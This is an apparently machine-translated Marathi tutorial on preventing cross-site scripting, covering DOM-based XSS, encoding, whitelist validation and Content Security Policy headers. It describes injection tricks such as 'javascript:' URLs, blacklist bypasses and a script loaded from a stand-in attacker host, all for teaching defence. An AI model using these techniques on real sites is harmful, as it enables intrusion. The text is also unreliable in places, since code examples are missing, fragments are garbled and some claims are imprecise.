    DOM XSS हल्ला उदाहरणामध्ये, दुर्भावनायुक्त स्क्रिप्ट पृष्ठाचा भाग म्हणून घातली जात नाही; पृष्ठ लोड दरम्यान स्वयंचलितपणे कार्यान्वित होणारी एकमेव स्क्रिप्ट पृष्ठाचा कायदेशीर भाग आहे. समस्या अशी आहे की ही कायदेशीर स्क्रिप्ट पृष्ठावर HTML जोडण्यासाठी थेट वापरकर्ता इनपुट वापरते. इनरएचटीएमएल वापरून दुर्भावनायुक्त स्ट्रिंग पृष्ठामध्ये घातल्यामुळे, ती HTML म्हणून पार्स केली जाते, ज्यामुळे दुर्भावनायुक्त स्क्रिप्ट कार्यान्वित होते.

    हा फरक लहान आहे, परंतु खूप महत्वाचा आहे:

    • पारंपारिक XSS मध्ये, सर्व्हरद्वारे पाठवलेल्या HTML चा भाग म्हणून, पृष्ठ लोड झाल्यावर दुर्भावनापूर्ण JavaScript कार्यान्वित केले जाते.
    • DOM मधील XSS च्या बाबतीत, पृष्ठ लोड केल्यानंतर दुर्भावनापूर्ण JavaScript कार्यान्वित केले जाते, परिणामी ते पृष्ठ कायदेशीर JavaScript वापरकर्ता इनपुट (दुर्भावनायुक्त स्ट्रिंग असलेले) असुरक्षित मार्गाने प्रवेश करते.
    DOM मध्ये XSS कसे कार्य करते?

    मागील उदाहरणात, JavaScript ची गरज नाही; सर्व्हर सर्व HTML स्वतः तयार करू शकतो. सर्व्हर-साइड कोडमध्ये भेद्यता नसल्यास, वेबसाइटवर XSS भेद्यतेचा परिणाम होणार नाही.

    तथापि, वेब ऍप्लिकेशन्स जसजसे अधिक प्रगत होत जातात, तसतसे अधिकाधिक HTML पृष्ठे सर्व्हरच्या बाजूने न जाता क्लायंटच्या बाजूने JavaScript सह व्युत्पन्न होतात. कोणत्याही वेळी, संपूर्ण पृष्ठ रीफ्रेश न करता सामग्री बदलली पाहिजे, हे JavaScript वापरून शक्य आहे. विशेषतः, जेव्हा AJAX विनंतीनंतर पृष्ठ रीफ्रेश केले जाते तेव्हा असे होते.

    याचा अर्थ XSS भेद्यता तुमच्या साइट कोडच्या सर्व्हर बाजूलाच नाही तर तुमच्या साइटच्या JavaScript कोडच्या क्लायंट बाजूला देखील असू शकते. म्हणून, पूर्णपणे सुरक्षित सर्व्हर-साइड कोडसह, पृष्ठ लोड झाल्यानंतर DOM अद्यतनित करताना क्लायंट कोड अद्याप सुरक्षितपणे वापरकर्ता इनपुट समाविष्ट करू शकत नाही. असे झाल्यास, क्लायंट-साइड कोड सर्व्हर-साइड कोडच्या कोणत्याही दोषाशिवाय XSS आक्रमणास अनुमती देईल.

    DOM-आधारित XSS सर्व्हरला दिसणार नाही

    DOM मध्‍ये XSS अटॅकची एक विशेष घटना आहे ज्यात दुर्भावनापूर्ण स्ट्रिंग कधीही वेबसाइट सर्व्हरवर पाठविली जात नाही: जेव्हा दुर्भावनापूर्ण स्ट्रिंग URL अभिज्ञापकाच्या एका तुकड्यात असते (# चिन्हानंतर काहीही) तेव्हा असे होते. ब्राउझर URL चा हा भाग सर्व्हरला पाठवत नाहीत, त्यामुळे वेबसाइट सर्व्हर-साइड कोडसह त्यात प्रवेश करू शकत नाही. तथापि, क्लायंट-साइड कोडमध्ये प्रवेश आहे, आणि अशा प्रकारे असुरक्षित प्रक्रियेद्वारे XSS हल्ला शक्य आहे.

    हे प्रकरण फक्त फ्रॅगमेंट आयडीपुरते मर्यादित नाही. इतर वापरकर्ता इनपुट आहे जे सर्व्हरवर अदृश्य आहे, जसे की नवीन HTML5 वैशिष्ट्ये जसे की LocalStorage आणि IndexedDB.

    भाग तीन:
    XSS प्रतिबंध XSS प्रतिबंध तंत्र

    आठवा की XSS हा एक कोड इंजेक्शन हल्ला आहे: वापरकर्ता इनपुटचा चुकीने दुर्भावनायुक्त कोड म्हणून अर्थ लावला जातो. या प्रकारचे कोड इंजेक्शन रोखण्यासाठी सुरक्षित इनपुट हाताळणी आवश्यक आहे. वेब डेव्हलपरसाठी, सुरक्षित इनपुट प्रक्रिया करण्यासाठी दोन मूलभूतपणे भिन्न मार्ग आहेत:

    • एन्कोडिंग हे एक तंत्र आहे जे वापरकर्ता इनपुट केवळ डेटा म्हणून तयार करण्यास अनुमती देते आणि ब्राउझरला त्यावर कोड म्हणून प्रक्रिया करण्याची परवानगी देत ​​​​नाही.
    • प्रमाणीकरण हा वापरकर्ता इनपुट फिल्टर करण्याचा एक मार्ग आहे जेणेकरुन ब्राउझर दुर्भावनायुक्त आदेशांशिवाय कोड म्हणून त्याचा अर्थ लावेल.

    जरी या मूलभूतपणे भिन्न XSS प्रतिबंध पद्धती आहेत, ते काही समानता सामायिक करतात जे त्यापैकी कोणतेही वापरताना समजून घेणे महत्वाचे आहे:

    संदर्भ सुरक्षित इनपुट हाताळणी पृष्ठावरील वापरकर्ता इनपुट कोठे वापरले जाते यावर अवलंबून भिन्न प्रकारे केले पाहिजे. इनबाउंड/आउटबाउंड सुरक्षित इनपुट प्रक्रिया एकतर तुमच्या साइटला इनपुट (इनबाउंड ट्रॅफिक) प्राप्त झाल्यावर किंवा साइटने पृष्ठ सामग्रीमध्ये (आउटबाउंड) वापरकर्त्याचे इनपुट समाविष्ट करण्यापूर्वी केली जाऊ शकते. क्लायंट/सर्व्हर सुरक्षित इनपुट प्रक्रिया क्लायंटच्या बाजूने किंवा सर्व्हरच्या बाजूने केली जाऊ शकते, प्रत्येक पर्याय वेगवेगळ्या परिस्थितीत आवश्यक आहे.

    एन्कोडिंग आणि प्रमाणीकरण कसे कार्य करते हे तपशीलवार सांगण्यापूर्वी, आम्ही या प्रत्येक बिंदूचे वर्णन करू.

    संदर्भांमध्ये वापरकर्ता इनपुट हाताळणे

    वेब पृष्ठावर अनेक संदर्भ आहेत जेथे वापरकर्ता इनपुट लागू केले जाऊ शकते. त्या प्रत्येकासाठी, विशेष नियमांचे पालन करणे आवश्यक आहे जेणेकरुन वापरकर्ता इनपुट त्याच्या संदर्भातून "ब्रेक आउट" होऊ शकत नाही आणि दुर्भावनापूर्ण कोड म्हणून त्याचा अर्थ लावला जाऊ शकतो. खालील सर्वात सामान्य संदर्भ आहेत:

    संदर्भांचा अर्थ काय आहे?

    वर्णन केलेल्या सर्व संदर्भांमध्ये, प्रथम एन्कोडिंग किंवा प्रमाणीकरणापूर्वी वापरकर्ता इनपुट घातल्यास XSS भेद्यता येऊ शकते. आक्रमणकर्ता या संदर्भासाठी क्लोजिंग डिलिमिटर टाकून फक्त दुर्भावनापूर्ण कोड इंजेक्ट करू शकतो.

    उदाहरणार्थ, एखाद्या वेळी एखाद्या वेबसाइटने थेट HTML विशेषतामध्ये वापरकर्ता इनपुट समाविष्ट केल्यास, आक्रमणकर्ता खाली दर्शविल्याप्रमाणे त्यांचे इनपुट कोटसह प्रारंभ करून दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करू शकतो:

    वापरकर्ता इनपुटमधील सर्व कोट्स काढून टाकून हे प्रतिबंधित केले जाऊ शकते आणि सर्वकाही ठीक होईल, परंतु केवळ या संदर्भात. जर इनपुट वेगळ्या संदर्भात घातला असेल, तर बंद होणारे परिसीमक वेगळे असेल आणि इंजेक्शन शक्य होईल. या कारणास्तव, सुरक्षित इनपुट हाताळणी नेहमी वापरकर्ता इनपुट घातली जाईल अशा संदर्भाशी जुळवून घेणे आवश्यक आहे.

    इनकमिंग/आउटगोइंग वापरकर्ता इनपुट हाताळणे

    सहजतेने, असे दिसते की XSS आमच्या साइटला प्राप्त होताच सर्व वापरकर्ता इनपुट एन्कोडिंग किंवा प्रमाणित करून प्रतिबंधित केले जाऊ शकते. अशाप्रकारे, कोणत्याही दुर्भावनायुक्त स्ट्रिंग्स जेव्हाही पृष्ठामध्ये समाविष्ट केल्या जातात तेव्हा त्या आधीच तटस्थ केल्या जातील आणि HTML जनरेशन स्क्रिप्ट्सना वापरकर्ता इनपुट सुरक्षितपणे हाताळण्याची काळजी करण्याची गरज नाही.

    समस्या अशी आहे की, आधी वर्णन केल्याप्रमाणे, वापरकर्ता इनपुट पृष्ठावरील एकाधिक संदर्भांमध्ये समाविष्ट केले जाऊ शकते. आणि वापरकर्ता इनपुट संदर्भामध्ये केव्हा येतो हे निर्धारित करण्याचा कोणताही सोपा मार्ग नाही - तो अखेरीस कसा घातला जाईल आणि समान वापरकर्ता इनपुट अनेकदा वेगवेगळ्या संदर्भांमध्ये समाविष्ट करणे आवश्यक आहे. XSS रोखण्यासाठी इनकमिंग इनपुट हाताळण्यावर अवलंबून राहून, आम्ही एक अतिशय ठिसूळ उपाय तयार करत आहोत ज्यामध्ये त्रुटी असतील. (नापसलेले PHP "जादूचे अवतरण" हे अशा समाधानाचे उदाहरण आहे.)

    त्याऐवजी, आउटबाउंड इनपुट हाताळणी ही XSS विरूद्ध तुमची मुख्य संरक्षणाची ओळ असली पाहिजे कारण ते वापरकर्ता इनपुट कोणते समाविष्ट केले जाईल याचा विशिष्ट संदर्भ विचारात घेऊ शकते. काही प्रमाणात, संरक्षणाचा दुय्यम स्तर जोडण्यासाठी इनबाउंड प्रमाणीकरण वापरले जाऊ शकते, परंतु त्या नंतर अधिक.

    जेथे वापरकर्ता इनपुट सुरक्षितपणे हाताळणे शक्य आहे

    बर्‍याच आधुनिक वेब ऍप्लिकेशन्समध्ये, वापरकर्ता इनपुटवर सर्व्हरच्या बाजूने आणि क्लायंटच्या बाजूने प्रक्रिया केली जाते. सर्व प्रकारच्या XSS पासून संरक्षण करण्यासाठी, सर्व्हर-साइड कोड आणि क्लायंट-साइड कोड दोन्हीमध्ये सुरक्षित इनपुट हाताळणी करणे आवश्यक आहे.

    • पारंपारिक XSS पासून संरक्षण करण्यासाठी, सर्व्हर-साइड कोडमध्ये सुरक्षित इनपुट हाताळणी करणे आवश्यक आहे. हे सर्व्हरद्वारे समर्थित काही भाषा वापरून केले जाते.
    • DOM मधील XSS हल्ल्यापासून संरक्षण करण्यासाठी, जेथे सर्व्हरला कधीही दुर्भावनापूर्ण स्ट्रिंग मिळत नाही (उदाहरणार्थ, आधी वर्णन केलेला अभिज्ञापक फ्रॅगमेंट हल्ला), क्लायंट-साइड कोडमध्ये सुरक्षित इनपुट हाताळणी करणे आवश्यक आहे. हे JavaScript सह केले जाते.

    आता आम्ही स्पष्ट केले आहे की संदर्भ महत्त्वाचे का आहेत, इनकमिंग आणि आउटगोइंग इनपुट प्रोसेसिंगमधील फरक का महत्त्वाचा आहे आणि सुरक्षित इनपुट प्रक्रिया दोन्ही बाजूंनी, क्लायंटच्या बाजूने आणि सर्व्हरच्या बाजूने का केली जाणे आवश्यक आहे, आम्ही स्पष्ट करणे सुरू ठेवू शकतो, दोन प्रकारचे सुरक्षित इनपुट प्रोसेसिंग (एनकोडिंग आणि प्रमाणीकरण) प्रत्यक्षात कसे केले जाते.

    कोडिंग

    एन्कोडिंग हा अशा परिस्थितीतून बाहेर पडण्याचा एक मार्ग आहे जिथे ब्राउझरसाठी वापरकर्ता इनपुटचा केवळ डेटा म्हणून अर्थ लावणे आवश्यक आहे, कोड नाही. वेब डेव्हलपमेंटमधील एन्कोडिंगचा सर्वात लोकप्रिय प्रकार म्हणजे एचटीएमएल एस्केपमेंट, जे वर्णांचे रूपांतर करते जसे की< и >व्ही< и >अनुक्रमे

    खालील छद्म-कोड हे HTML एस्केपमेंट वापरून वापरकर्ता इनपुट (वापरकर्ता इनपुट) कसे एन्कोड केले जाऊ शकते आणि नंतर सर्व्हर-साइड स्क्रिप्ट वापरून पृष्ठामध्ये कसे समाविष्ट केले जाऊ शकते याचे एक उदाहरण आहे:

    प्रिंट ""
    "शेवटची टिप्पणी:" मुद्रित करा
    प्रिंट एन्कोडएचटीएमएल(वापरकर्ता इनपुट)
    प्रिंट ""

    वापरकर्त्याने खालील ओळ प्रविष्ट केल्यास ... , परिणामी HTML असे दिसेल:


    शेवटची टिप्पणी:
    ...

    विशेष अर्थ असलेले सर्व वर्ण सुटलेले असल्यामुळे, ब्राउझर HTML सारख्या वापरकर्त्याच्या इनपुटचा कोणताही भाग पार्स करणार नाही.

    क्लायंट आणि सर्व्हर साइड कोडिंग

    क्लायंट-साइड एन्कोडिंग करताना, JavaScript नेहमी वापरला जातो, ज्यामध्ये अंगभूत फंक्शन्स असतात जी वेगवेगळ्या संदर्भांसाठी डेटा एन्कोड करतात.

    तुमच्या सर्व्हर साइड कोडमध्ये कोडिंग करताना, तुम्ही तुमच्या भाषेत किंवा फ्रेमवर्कमध्ये उपलब्ध वैशिष्ट्यांवर अवलंबून आहात. मोठ्या संख्येने भाषा आणि फ्रेमवर्क उपलब्ध असल्यामुळे, हे ट्यूटोरियलकोणत्याही विशिष्ट सर्व्हर भाषा किंवा फ्रेमवर्कमध्ये कोडिंगचे तपशील समाविष्ट करणार नाही. तथापि, सर्व्हर साइड कोड लिहिताना क्लायंटच्या बाजूने वापरलेली JavaScript एन्कोडिंग वैशिष्ट्ये देखील वापरली जातात.

    क्लायंट साइड कोडिंग

    JavaScript सह क्लायंट-साइड वापरकर्ता इनपुट एन्कोड करताना, अनेक अंगभूत पद्धती आणि गुणधर्म आहेत जे सर्व डेटा स्वयंचलितपणे संदर्भ-संवेदनशील शैलीमध्ये एन्कोड करतात:

    वर नमूद केलेला शेवटचा संदर्भ (जावास्क्रिप्टमधील मूल्ये) या सूचीमध्ये समाविष्ट केलेला नाही कारण JavaScript डेटा एन्कोड करण्याचा अंगभूत मार्ग प्रदान करत नाही जो JavaScript स्त्रोत कोडमध्ये समाविष्ट केला जाईल.

    कोडिंग निर्बंध

    एन्कोडिंग करतानाही, काही संदर्भांमध्ये दुर्भावनायुक्त स्ट्रिंग वापरणे शक्य आहे. याचे मुख्य उदाहरण म्हणजे जेव्हा वापरकर्ता इनपुटचा वापर URL प्रदान करण्यासाठी केला जातो, जसे की खालील उदाहरणात:

    document.querySelector("a").href = userInput

    जरी घटकाच्या href मालमत्तेमध्ये निर्दिष्ट मूल्य स्वयंचलितपणे ते एन्कोड करते जेणेकरून ते गुणधर्माच्या मूल्यापेक्षा अधिक काही बनत नाही, परंतु हे केवळ आक्रमणकर्त्याला "javascript:" ने सुरू होणारी URL समाविष्ट करण्यापासून प्रतिबंधित करत नाही. दुव्यावर क्लिक केल्यावर, बांधकाम काहीही असो, URL मध्ये एम्बेड केलेली JavaScript कार्यान्वित केली जाईल.

    जेव्हा तुम्ही वापरकर्त्यांना पृष्ठावरील HTML कोडचा भाग वापरण्यास सक्षम व्हावे असे तुम्हाला वाटते तेव्हा एन्कोडिंग हा एक कार्यक्षम उपाय नाही. एक उदाहरण एक वापरकर्ता प्रोफाइल पृष्ठ असेल जेथे वापरकर्ता सानुकूल HTML वापरू शकतो. जर हा साधा HTML एन्कोड केलेला असेल, तर प्रोफाइल पेजमध्ये फक्त साधा मजकूर असू शकतो.

    यासारख्या परिस्थितींमध्ये, कोडिंग हे प्रमाणीकरणाद्वारे पूरक असणे आवश्यक आहे, जे आम्ही पुढे पाहू.

    प्रमाणीकरण

    प्रमाणीकरण ही वापरकर्ता इनपुट फिल्टर करण्याची क्रिया आहे जेणेकरून त्यातील सर्व दुर्भावनापूर्ण भाग त्यातील सर्व कोड न काढता काढले जातील. वेब डेव्हलपमेंटमध्ये प्रमाणीकरणाचा सर्वात वापरल्या जाणार्‍या प्रकारांपैकी एक काही HTML घटकांना (जसे की आणि ) परवानगी देतो परंतु इतरांना परवानगी देतो (जसे की ).

    दोन मुख्य वैशिष्ट्यपूर्ण तपासणी आहेत जी त्यांच्या अंमलबजावणीमध्ये भिन्न आहेत:

    वर्गीकरण धोरण वापरकर्ता इनपुट काळ्या सूची किंवा श्वेतसूची वापरून वर्गीकृत केले जाऊ शकते. प्रमाणीकरण परिणाम दुर्भावनापूर्ण म्हणून ओळखले जाणारे वापरकर्ता इनपुट नाकारले किंवा स्वच्छ केले जाऊ शकते.

    वर्गीकरण धोरण ब्लॅकलिस्ट

    सहजतेने, वापरकर्त्याच्या इनपुटमध्ये दिसू नये असा निषिद्ध नमुना परिभाषित करून तपासणी करणे योग्य वाटते. जर एखादी स्ट्रिंग या पॅटर्नशी जुळत असेल, तर ती अवैध म्हणून चिन्हांकित केली जाईल. उदाहरणार्थ, वापरकर्त्यांना जावास्क्रिप्ट वगळता कोणत्याही प्रोटोकॉलसह सानुकूल URL सबमिट करण्यास अनुमती द्या: . या वर्गीकरण धोरण म्हणतात काळी यादी.

    तथापि, काळ्या सूचीमध्ये दोन मुख्य तोटे आहेत:

    सर्व संभाव्य दुर्भावनापूर्ण स्ट्रिंग्सच्या संचाचे अचूक वर्णन करण्याची अडचण सहसा खूप कठीण काम असते. वरील धोरण उदाहरण फक्त सबस्ट्रिंग " javascript" शोधून यशस्वीरित्या अंमलात आणले जाऊ शकत नाही कारण ते " Javascript: " (जेथे पहिले अक्षर अप्परकेसमध्ये आहे) आणि " javascript: " (जेथे पहिले अक्षर अंकीय म्हणून एन्कोड केलेले आहे) सारख्या स्ट्रिंग्स चुकतील. वर्ण संदर्भ). अप्रचलितपणा जरी एक आदर्श काळी यादी विकसित केली गेली असली तरीही, ब्राउझरमध्ये जोडलेले नवीन वैशिष्ट्य आक्रमण करण्यासाठी वापरले जाऊ शकते तर ते निरुपयोगी ठरेल. उदाहरणार्थ, HTML व्हॅलिडेशनसाठी ब्लॅकलिस्ट HTML5 मध्ये ऑनमाउसव्हील विशेषता सादर करण्यापूर्वी विकसित केली असल्यास, ती (ब्लॅकलिस्ट) आक्रमणकर्त्याला XSS हल्ला करण्यासाठी ही विशेषता वापरण्यापासून रोखू शकणार नाही. ही कमतरता वेब डेव्हलपमेंटमध्ये विशेषत: महत्वाची आहे, ज्यामध्ये बर्याच भिन्न तंत्रज्ञानाचा समावेश आहे ज्या सतत अद्यतनित केल्या जातात.

    या उणिवांमुळे, वर्गीकरण धोरण म्हणून ब्लॅकलिस्टिंगला जोरदारपणे परावृत्त केले जाते. व्हाईटलिस्टिंग हा सामान्यतः अधिक सुरक्षित दृष्टीकोन आहे, ज्याचे आम्ही पुढे वर्णन करू.

    पांढरी यादी

    पांढरी यादीमूलत: ब्लॅकलिस्टिंगच्या विरुद्ध: निषिद्ध पॅटर्न निर्दिष्ट करण्याऐवजी, व्हाइटलिस्टिंग दृष्टीकोन अनुमत पॅटर्न परिभाषित करते आणि इनपुट असल्यास अवैध म्हणून चिन्हांकित करते जुळत नाहीहा टेम्पलेट.

    ब्लॅकलिस्टच्या विपरीत, श्वेतसूचीचे उदाहरण म्हणजे वापरकर्त्यांना फक्त http: आणि https: प्रोटोकॉल असलेले सानुकूल URL सबमिट करण्याची परवानगी देणे, आणखी काही नाही. जर URL मध्ये javascript: प्रोटोकॉल असेल तर हा दृष्टिकोन आपोआप अवैध म्हणून चिन्हांकित करेल, जरी ती " Javascript: " किंवा " javascript: " म्हणून सादर केली असली तरीही.

    ब्लॅकलिस्टिंगच्या तुलनेत, व्हाइटलिस्टिंगचे दोन मुख्य फायदे आहेत:

    साधेपणा सुरक्षित स्ट्रिंग्सच्या संचाचे अचूक वर्णन करणे हे सर्व दुर्भावनापूर्ण स्ट्रिंग्सच्या संचाला ओळखण्यापेक्षा बरेच सोपे आहे. हे विशेषतः सामान्य परिस्थितींमध्ये लागू होते जेथे वापरकर्ता इनपुटमध्ये ब्राउझरमध्ये उपलब्ध कार्यक्षमतेचा एक अतिशय मर्यादित संच समाविष्ट असणे आवश्यक आहे. उदाहरणार्थ, वर वर्णन केलेली श्वेतसूची फक्त परवानगी असलेल्या http: किंवा https: प्रोटोकॉलसह URL वापरण्याची परवानगी देते आणि बहुतेक परिस्थितींमध्ये हे वापरकर्त्यांसाठी पुरेसे असते. टिकाऊपणा ब्लॅकलिस्टच्या विपरीत, जेव्हा ब्राउझरमध्ये नवीन वैशिष्ट्य जोडले जाते तेव्हा श्वेतसूची सहसा अप्रचलित होत नाही. उदाहरणार्थ, HTML श्वेतसूची प्रमाणीकरण केवळ HTML घटकांच्या शीर्षक विशेषतांना सुरक्षित ठेवण्यास अनुमती देते, जरी ती (श्वेतसूची) HTML5 onmousewheel विशेषता सादर करण्यापूर्वी डिझाइन केलेली असली तरीही.

    प्रमाणीकरण परिणाम

    जेव्हा वापरकर्ता इनपुट अवैध (निषिद्ध) म्हणून चिन्हांकित केले जाते, तेव्हा दोनपैकी एक क्रिया केली जाऊ शकते:

    इनपुट नाकारणे फक्त नाकारले जाते, ते साइटवर इतरत्र वापरले जाण्यापासून प्रतिबंधित करते. निर्जंतुकीकरणाने इनपुट डेटाचे सर्व अवैध भाग काढून टाकले जातात आणि उर्वरित इनपुट नेहमीप्रमाणे वेबसाइटवर वापरले जातात.

    दोनपैकी, "विचलन" हा अंमलात आणण्याचा सर्वात सोपा मार्ग आहे. परंतु निर्जंतुकीकरण अधिक उपयुक्त मानले जाते कारण ते वापरकर्त्यासाठी इनपुटची विस्तृत श्रेणी प्रदान करते. उदाहरणार्थ, वापरकर्त्याने क्रेडिट कार्ड नंबर सबमिट केल्यास, सॅनिटाइझिंग सर्व वर्ण नसलेले काढून टाकेल आणि कोड इंजेक्शनला प्रतिबंध करेल, तसेच वापरकर्त्याला हायफनसह किंवा त्याशिवाय नंबर प्रविष्ट करण्यास अनुमती देईल.

    आपण निर्जंतुकीकरण लागू करण्याचा निर्णय घेतल्यास, आपल्याला याची खात्री करणे आवश्यक आहे की निर्जंतुकीकरण प्रक्रिया स्वतःच ब्लॅकलिस्ट पद्धतीचा वापर करत नाही. उदाहरणार्थ, URL "Javascript:...", जरी अवैध म्हणून श्वेतसूचीबद्ध केली असली तरी, निर्जंतुकीकरण दिनचर्या बायपास करेल जी "javascript:" ची सर्व उदाहरणे काढून टाकते. या कारणास्तव, चांगल्या-चाचणी केलेल्या लायब्ररी आणि फ्रेमवर्कने जेव्हा शक्य असेल तेव्हा सॅनिटायझिंगचा वापर केला पाहिजे.

    प्रतिबंध करण्यासाठी कोणत्या पद्धती वापरायच्या?

    एन्कोडिंग XSS हल्ल्यांपासून बचावाची तुमची पहिली ओळ असावी, त्याचा उद्देश डेटावर अशा प्रकारे प्रक्रिया करणे आहे की ब्राउझर वापरकर्त्याच्या इनपुटचा कोड म्हणून अर्थ लावू शकत नाही. काही प्रकरणांमध्ये, कोडिंग प्रमाणीकरणाद्वारे पूरक असणे आवश्यक आहे. एन्कोडिंग आणि प्रमाणीकरण आउटगोइंग ट्रॅफिकवर लागू केले जाणे आवश्यक आहे, कारण तेव्हाच तुम्हाला हे कळू शकते की वापरकर्ता इनपुट कोणत्या संदर्भात लागू केला जाईल आणि कोणते एन्कोडिंग आणि प्रमाणीकरण लागू केले जावे.

    संरक्षणाची दुसरी ओळ म्हणून, तुम्ही javascript: protocol वापरून येणार्‍या डेटावर उघडपणे अवैध वापरकर्ता इनपुट, जसे की लिंक्स, स्वच्छ करा किंवा नाकारल्या पाहिजेत. हे स्वतःच संपूर्ण सुरक्षा प्रदान करू शकत नाही, परंतु चुकीच्या अंमलबजावणीमुळे कोडिंग आणि प्रमाणीकरण संरक्षणातील कोणताही मुद्दा अयशस्वी होण्याची शक्यता असल्यास ही एक उपयुक्त खबरदारी आहे.

    संरक्षणाच्या या दोन ओळी सातत्याने वापरल्या गेल्यास, तुमची साइट XSS हल्ल्यांपासून संरक्षित केली जाईल. तथापि, वेबसाइट तयार करणे आणि देखरेख करण्याच्या जटिलतेमुळे, केवळ वापरकर्ता इनपुटचे सुरक्षित हाताळणी वापरून संपूर्ण संरक्षण प्रदान करणे कठीण होऊ शकते. संरक्षणाची तिसरी ओळ म्हणून, तुम्ही सामग्री सुरक्षा धोरणे ( इंग्रजी सामग्री सुरक्षा धोरण), नंतर CSP, ज्याचे आम्ही पुढे वर्णन करू.

    सामग्री सुरक्षा धोरणे (CSP)

    XSS हल्ल्यांपासून संरक्षण करण्यासाठी केवळ सुरक्षित वापरकर्ता इनपुट हाताळणी वापरणे पुरेसे नाही, कारण एक सुरक्षा त्रुटी देखील आपल्या वेबसाइटला धोक्यात आणू शकते. नवीन वेब मानकांच्या सामग्री सुरक्षा धोरणांचा (CSP) वापर हा धोका कमी करू शकतो.

    CSPs चा वापर ब्राउझरच्या वेब पृष्ठाच्या वापरावर प्रतिबंध करण्यासाठी केला जातो जेणेकरून ते केवळ विश्वसनीय स्त्रोतांकडून डाउनलोड केलेली संसाधने वापरू शकेल. ए संसाधनेस्क्रिप्ट, शैली पत्रके, प्रतिमा किंवा पृष्ठावर संदर्भित असलेल्या इतर कोणत्याही प्रकारच्या फाइल आहेत. याचा अर्थ असा की आक्रमणकर्त्याने आपल्या साइटवर दुर्भावनापूर्ण सामग्री इंजेक्ट करणे व्यवस्थापित केले तरीही, CSP त्याची अंमलबजावणी रोखू शकेल.

    खालील नियमांची अंमलबजावणी करण्यासाठी CSPs वापरले जाऊ शकतात:

    अविश्वासू स्रोत प्रतिबंधित करा बाह्य संसाधने केवळ चांगल्या-परिभाषित विश्वसनीय स्त्रोतांच्या संचावरून डाउनलोड केली जाऊ शकतात. एम्बेडेड संसाधने इनलाइन JavaScript आणि CSS ला अनुमती दिली जाणार नाही. eval अक्षम करा JavaScript मध्ये eval फंक्शनचा वापर अक्षम करा.

    कारवाईत CSP

    खालील उदाहरणामध्ये, आक्रमणकर्त्याने वेब पृष्ठावर दुर्भावनापूर्ण कोड इंजेक्ट करण्यात व्यवस्थापित केले:


    शेवटची टिप्पणी:

    योग्यरित्या परिभाषित CSP धोरणासह, ब्राउझर दुर्भावनापूर्ण-script.js लोड आणि कार्यान्वित करू शकत नाही कारण http://attacker/ विश्वसनीय स्रोत म्हणून सूचीबद्ध नाही. जरी साइट वापरकर्ता इनपुटवर विश्वासार्हपणे प्रक्रिया करण्यात अक्षम होती, तरीही या प्रकरणात, CSP धोरणाने असुरक्षिततेला कोणतेही नुकसान होण्यापासून प्रतिबंधित केले.

    जरी आक्रमणकर्त्याने स्क्रिप्ट कोडमध्ये कोड इंजेक्ट केला, आणि बाह्य फाईलचा दुवा नसला तरीही, योग्यरित्या कॉन्फिगर केलेले CSP धोरण JavaScript कोडमध्ये इंजेक्शन देण्यास प्रतिबंध करेल, असुरक्षितता टाळेल आणि कोणतीही हानी होण्यास प्रतिबंध करेल.

    CSP कसे सक्षम करावे?

    डीफॉल्टनुसार, ब्राउझर CSP वापरत नाहीत. तुमच्या वेबसाइटवर SCP सक्षम करण्यासाठी, पृष्ठांमध्ये अतिरिक्त HTTP शीर्षलेख असणे आवश्यक आहे: सामग्री-सुरक्षा-धोरण. हे शीर्षलेख असलेले कोणतेही पृष्ठ ब्राउझरद्वारे लोड केल्यावर सुरक्षा धोरणे लागू करेल, जर ब्राउझर CSP ला समर्थन देत असेल.

    सुरक्षा धोरण प्रत्येक HTTP प्रतिसादासह पाठवले जात असल्याने, सर्व्हरला प्रत्येक पृष्ठासाठी स्वतंत्रपणे धोरण सेट करणे शक्य आहे. प्रत्येक प्रतिसादात समान CSP शीर्षलेख टाकून संपूर्ण वेबसाइटवर समान धोरण लागू केले जाऊ शकते.

    सामग्री-सुरक्षा-धोरण शीर्षलेखातील मूल्यामध्ये एक स्ट्रिंग आहे जी एक किंवा अधिक सुरक्षा धोरणे निर्दिष्ट करते जी आपल्या साइटवर कार्य करतील. या ओळीचे वाक्यरचना पुढे वर्णन केले जाईल.

    या विभागातील शीर्षलेख उदाहरणे वाचन सुलभतेसाठी लाइन ब्रेक आणि इंडेंटेशन वापरतात; ते वास्तविक शीर्षलेखात उपस्थित नसावेत.

    CSP वाक्यरचना

    CSP शीर्षलेख वाक्यरचना खालीलप्रमाणे आहे:

    सामग्री-सुरक्षा-धोरण:
    निर्देश स्रोत-अभिव्यक्ती, स्रोत-अभिव्यक्ती, ...;
    निर्देश ...;
    ...

    या वाक्यरचनामध्ये दोन घटक असतात:

    • निर्देश, दिलेल्या सूचीमधून घेतलेल्या संसाधनाचा प्रकार दर्शविणारी स्ट्रिंग आहेत.
    • स्त्रोत अभिव्यक्ती हे एक मॉडेल आहे जे एक किंवा अधिक सर्व्हरचे वर्णन करते ज्यामधून संसाधने लोड केली जाऊ शकतात.

    प्रत्येक निर्देशासाठी, स्त्रोत अभिव्यक्तीमधील डेटा निर्धारित करतो की त्या प्रकारच्या संसाधने लोड करण्यासाठी कोणते स्त्रोत वापरले जाऊ शकतात.

    निर्देश

    CSP हेडरमध्ये खालील निर्देश वापरले जाऊ शकतात:

    • कनेक्ट-src
    • फॉन्ट-src
    • फ्रेम-src
    • img-src
    • media-src
    • ऑब्जेक्ट-src
    • स्क्रिप्ट-src
    • शैली-src

    या व्यतिरिक्त, हेडरमध्ये समाविष्ट नसलेल्या सर्व निर्देशांसाठी डीफॉल्ट मूल्य प्रदान करण्यासाठी विशेष डीफॉल्ट-एसआरसी निर्देश वापरला जाऊ शकतो.

    स्रोत अभिव्यक्ती

    स्रोत अभिव्यक्ती तयार करण्यासाठी वाक्यरचना खालीलप्रमाणे आहे:

    protocol:// host-name: port-number

    होस्टनाव * ने सुरू होऊ शकते, याचा अर्थ प्रदान केलेल्या होस्टनावाच्या कोणत्याही सबडोमेनला परवानगी दिली जाईल. त्याचप्रमाणे, एक पोर्ट क्रमांक * म्हणून दर्शविला जाऊ शकतो, ज्याचा अर्थ असा की सर्व पोर्ट्सना परवानगी दिली जाईल. याव्यतिरिक्त, प्रोटोकॉल आणि पोर्ट क्रमांक वगळला जाऊ शकतो. कोणताही प्रोटोकॉल निर्दिष्ट न केल्यास, धोरणास HTTPS वापरून सर्व संसाधने लोड करणे आवश्यक असेल.

    वरील वाक्यरचना व्यतिरिक्त, स्त्रोत अभिव्यक्ती वैकल्पिकरित्या विशेष अर्थ असलेल्या चार कीवर्डपैकी एक असू शकते (कोट समाविष्ट):

